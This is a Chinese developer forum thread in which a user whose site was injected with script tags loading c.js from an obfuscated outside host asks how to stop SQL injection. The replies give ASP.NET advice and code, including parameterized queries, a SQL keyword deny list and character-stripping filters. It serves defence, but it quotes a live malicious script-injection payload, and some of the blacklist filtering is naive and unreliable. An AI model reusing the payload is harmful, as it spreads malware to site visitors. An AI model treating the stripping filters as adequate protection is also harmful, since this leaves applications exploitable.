怎么样才防止SQl注入那,网站被注入了<script src=http://3bo%6Db.com/c.js></script><script src=http://3%62omb.com/c.js></script>代码,大告诉我一下,怎么样才修改程序来防止注入.
解决方案 »
- 看到有帖子说关于多条件筛选,类似京东商城的,我写了个,欢迎拍砖
- windows2000 服务器问题 程序上传后 访问时中文都变成不认识的乱码了
- SqlCommand Mycmd = new SqlCommand("insert_DepTable_1",Myconn);的存储过程名称问题
- 用户控件传入的参数VS提示我没有声明?为什么?
- 关于在DataList的ItemCommand事件里删除ArrayList对象数组里元素的问题
- 一段c#代理,转成vb.net出个小错,请大家看看
- 配置错误问题,求高人解答~~~~~
- 数据库小问题一个,急(在线)
- 关于 PlaceHolder 的问题
- asp.net域名查询 注册接口???
- 求大家一个sql语句写法
- 私人开一间主要用aspnet 开发的公司要多钱?
http://hi.baidu.com/maoot/blog/item/2a6ce118ed82d70235fa4192.html
百度上随便搜
1,使用参数,SqlParameter来写SQL语句
2,过滤或转义已知的危险字符,
3,限制数据类型和长度
4,拒绝已知的攻击签名
/^<(.*)>.*<\/.*>$/ 这样的判断可能对你又帮助
{
sql = sql.Trim();
sql = sql.Replace("<", "");
sql = sql.Replace(">", "");
sql = sql.Replace(" ", "");
sql = sql.Replace("*", "");
sql = sql.Replace("'", "");
sql = sql.Replace("%", "");
sql = sql.Replace("or", "");
sql = sql.Replace("=", "");
//.........
return sql;
}
void Application_BeginRequest(Object sender, EventArgs e)
{
StartProcessRequest(); }
private void StartProcessRequest()
{
try
{
string getkeys = "";
string sqlErrorPage = "index.aspx";
if (System.Web.HttpContext.Current.Request.QueryString != null)
{ for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (getkeys == "__VIEWSTATE") continue;
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{
// 错误处理: 处理用户提交信息!
}
}
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "exec¦insert¦select¦delete¦master¦update¦truncate¦declare";
string[] anySqlStr = SqlStr.Split('¦');
foreach (string ss in anySqlStr)
{
if(!Str.ToLower().Contains("updatepanel"))
{
if (Str.ToLower().IndexOf(ss) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}
{
return ("'" + pStr.Replace("'","''") + "'");
}
然后还可以写一个公用类来判断装载页面的时候是不是从安全的页面转过来的和是否是直接输入参数访问这个页面的。